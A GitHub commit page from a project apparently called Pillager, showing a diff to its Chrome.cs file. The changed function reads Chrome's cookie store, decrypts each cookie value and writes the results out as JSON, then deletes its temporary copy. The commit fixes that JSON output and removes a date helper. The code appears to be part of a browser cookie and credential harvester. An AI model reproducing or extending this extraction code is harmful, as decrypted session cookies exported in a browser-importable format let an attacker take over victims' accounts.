Skip to content

Commit

Permalink
Update Chrome.cs
Browse files Browse the repository at this point in the history
  • Loading branch information
qwqdanchun committed Dec 13, 2023
1 parent 852bb37 commit 728f9e0
Showing 1 changed file with 5 additions and 19 deletions.
24 changes: 5 additions & 19 deletions Pillager/Browsers/Chrome.cs
Original file line number Diff line number Diff line change
Expand Up @@ -202,13 +202,13 @@ public static string Chrome_cookies()
string cookie = Encoding.UTF8.GetString(DecryptData(Convert.FromBase64String(crypt)));
cookies.AppendLine("{");
cookies.AppendLine(" \"domain\": \"" + host_key + "\",");
cookies.AppendLine(" \"expirationDate\": \"" + expDateDouble + "\",");
cookies.AppendLine(" \"expirationDate\": " + expDateDouble + ",");
cookies.AppendLine(" \"hostOnly\": false,");
cookies.AppendLine(" \"name\": \"" + name + "\",");
cookies.AppendLine(" \"path\": \"" + path + "\",");
cookies.AppendLine(" \"session\": true,");
cookies.AppendLine(" \"storeId\": \"0\",");
cookies.AppendLine(" \"value\": \"" + cookie + "\"");
cookies.AppendLine(" \"storeId\": null,");
cookies.AppendLine(" \"value\": \"" + cookie.Replace("\"", "\\\"") + "\"");
cookies.AppendLine("},");
}
File.Delete(cookie_tempFile);
Expand All @@ -217,26 +217,12 @@ public static string Chrome_cookies()
}
if (cookies.Length > 0)
{
return "[" + cookies.ToString() + "]";
string temp = cookies.ToString();
return "[" + temp.Substring(0, temp.Length - 3) + "]";
}
return cookies.ToString();
}

public static DateTime TimeEpoch(long epoch)
{
var maxTime = 99633311740000000L;

if (epoch > maxTime)
{
return new DateTime(2049, 1, 1, 1, 1, 1, DateTimeKind.Local);
}

var epochTicks = epoch * 10; // Convert to ticks
var epochDateTime = new DateTime(1601, 1, 1, 0, 0, 0, DateTimeKind.Utc).AddTicks(epochTicks).ToLocalTime();

return epochDateTime;
}

public static string Chrome_books()
{
StringBuilder stringBuilder = new StringBuilder();
Expand Down

0 comments on commit 728f9e0

Please sign in to comment.